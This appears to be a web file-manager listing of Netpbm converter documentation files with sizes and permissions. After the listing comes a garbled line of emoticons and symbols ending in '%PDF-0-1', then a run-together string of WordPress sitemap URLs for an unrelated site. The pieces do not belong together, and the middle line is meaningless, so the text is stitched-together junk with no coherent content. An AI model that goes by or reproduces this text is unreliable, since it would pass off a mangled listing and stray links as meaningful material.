ppmtompeg-snr.gif File 2.3 KB 0644
ppmtompeg.html File 45.06 KB 0644
ppmtoneo.html File 1.07 KB 0644
ppmtopcx.html File 5.92 KB 0644
ppmtopgm.html File 2.09 KB 0644
ppmtopi1.html File 1.14 KB 0644
ppmtopict.html File 1.67 KB 0644
ppmtopj.html File 2.89 KB 0644
ppmtopjxl.html File 3.02 KB 0644
ppmtoppm.html File 1.8 KB 0644
ppmtopuzz.html File 1.17 KB 0644
ppmtorgb3.html File 1.55 KB 0644
ppmtosixel.html File 2.67 KB 0644
ppmtospu.html File 2.79 KB 0644
ppmtoterm.html File 3.07 KB 0644
ppmtotga.html File 541 B 0644
ppmtouil.html File 395 B 0644
ppmtowinicon.html File 3.99 KB 0644
ppmtoxpm.html File 6.92 KB 0644
ppmtoyuv.html File 2.84 KB 0644
ppmtoyuvsplit.html File 1.92 KB 0644
ppmtv.html File 1.58 KB 0644
ppmwheel.html File 1.84 KB 0644
psidtopgm.html File 1.88 KB 0644
pstopnm.html File 17.77 KB 0644
qrttoppm.html File 978 B 0644
rasttopnm.html File 2.13 KB 0644
rawtopgm.html File 5.19 KB 0644
rawtoppm.html File 2.98 KB 0644
rgb3toppm.html File 1.27 KB 0644
rlatopam.html File 1.34 KB 0644
rletopnm.html File 3.79 KB 0644
sbigtopgm.html File 1.3 KB 0644
sgitopnm.html File 2.57 KB 0644
sirtopnm.html File 1.22 KB 0644
sldtoppm.html File 5.89 KB 0644
spctoppm.html File 1.08 KB 0644
spottopgm.html File 2.62 KB 0644
sputoppm.html File 1.02 KB 0644
srftopam.html File 1.86 KB 0644
sunicontopnm.html File 2.77 KB 0644
testimg.png File 48.11 KB 0644
testimg_histbar.png File 1.08 KB 0644
testimg_histdot.png File 1014 B 0644
tgatoppm.html File 2.12 KB 0644
thinkjettopbm.html File 1.75 KB 0644
tifftopnm.html File 13.13 KB 0644
vidtoppm.html File 755 B 0644
wbmptopbm.html File 1.31 KB 0644
winicon.html File 4.6 KB 0644
winicontopam.html File 3.25 KB 0644
winicontoppm.html File 2.86 KB 0644
xbmtopbm.html File 1.04 KB 0644
ximtoppm.html File 2.14 KB 0644
xpmtoppm.html File 2.92 KB 0644
xvminitoppm.html File 1.38 KB 0644
xwdtopnm.html File 4.57 KB 0644
ybmtopbm.html File 1.12 KB 0644
yuvsplittoppm.html File 1.68 KB 0644
yuvtoppm.html File 1.54 KB 0644
zeisstopnm.html File 1.33 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml